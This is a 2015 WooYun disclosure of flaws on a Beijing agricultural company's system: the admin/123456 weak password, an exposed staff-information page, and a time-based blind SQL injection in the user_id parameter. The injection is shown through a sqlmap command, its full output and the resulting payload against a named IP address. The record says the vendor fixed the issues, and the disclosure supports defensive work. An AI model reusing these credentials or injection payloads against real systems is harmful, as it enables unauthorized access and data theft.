当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153286

漏洞标题:北京士惠农业发展有限公司敏感信息泄漏及SQL注入

相关厂商:北京士惠农业发展有限公司

漏洞作者: 路人甲

提交时间:2015-11-10 13:59

修复时间:2015-11-23 15:49

公开时间:2015-11-23 15:49

漏洞类型:后台弱口令

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-11: 厂商已经确认,细节仅向厂商公开
2015-11-21: 细节向核心白帽子及相关领域专家公开
2015-11-23: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt

详细说明:

http://219.143.69.58/
弱口令admin/123456
且为系统管理权限

LE3NMC}O3T5D5Y(DKQ7Y8_0.png


泄漏公司员工所有信息
http://219.143.69.58/sys/index.php?m=structure&u=centerm&a=draw

PD(FJV65D}2J0F7CCADK{$M.png


漏洞证明:

后台存在sql注入漏洞
http://219.143.69.58/sys/index.php?suppressHeaders=1&reflesh=1&m=user&a=edit_info&tab=0&user_id=34
user_id参数

C:\Python27\sqlmap>sqlmap.py -r C:\Users\lly\Desktop\1.txt -p "user_id" --dbms=m
ysql
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151110}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:17:34
[13:17:34] [INFO] parsing HTTP request from 'C:\Users\lly\Desktop\1.txt'
[13:17:34] [INFO] testing connection to the target URL
[13:17:35] [INFO] heuristics detected web page charset 'ISO-8859-2'
[13:17:35] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[13:17:37] [INFO] target URL is stable
[13:17:38] [INFO] heuristics detected web page charset 'GB2312'
[13:17:38] [WARNING] heuristic (basic) test shows that GET parameter 'user_id' m
ight not be injectable
[13:17:39] [INFO] testing for SQL injection on GET parameter 'user_id'
[13:17:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:17:40] [WARNING] reflective value(s) found and filtering out
[13:18:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[13:18:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[13:18:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[13:18:07] [INFO] testing 'MySQL inline queries'
[13:18:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[13:18:07] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.....
[13:18:10] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[13:18:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[13:19:00] [INFO] GET parameter 'user_id' seems to be 'MySQL >= 5.0.12 AND time-
based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]
[13:19:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:19:13] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[13:19:13] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[13:19:16] [INFO] target URL appears to have 3 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n]
[13:19:45] [INFO] testing 'MySQL UNION query (78) - 1 to 20 columns'
[13:19:48] [INFO] checking if the injection point on GET parameter 'user_id' is
a false positive
GET parameter 'user_id' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N]
sqlmap identified the following injection points with a total of 70 HTTP(s) requ
ests:
---
Parameter: user_id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: suppressHeaders=1&reflesh=1&m=user&a=edit_info&tab=0&user_id=52' AN
D (SELECT * FROM (SELECT(SLEEP(5)))CGWl) AND 'evid'='evid
---
[13:22:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12
[13:22:06] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 65 times
[13:22:06] [INFO] fetched data logged to text files under 'C:\Users\lly\.sqlmap\
output\219.143.69.58'


盲注比较慢

EYCLW(YI)_D~2I{{KD5CN(P.png

修复方案:

00

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-11 09:50

厂商回复:

感谢路人甲无私的奉献

最新状态:

2015-11-23:已修复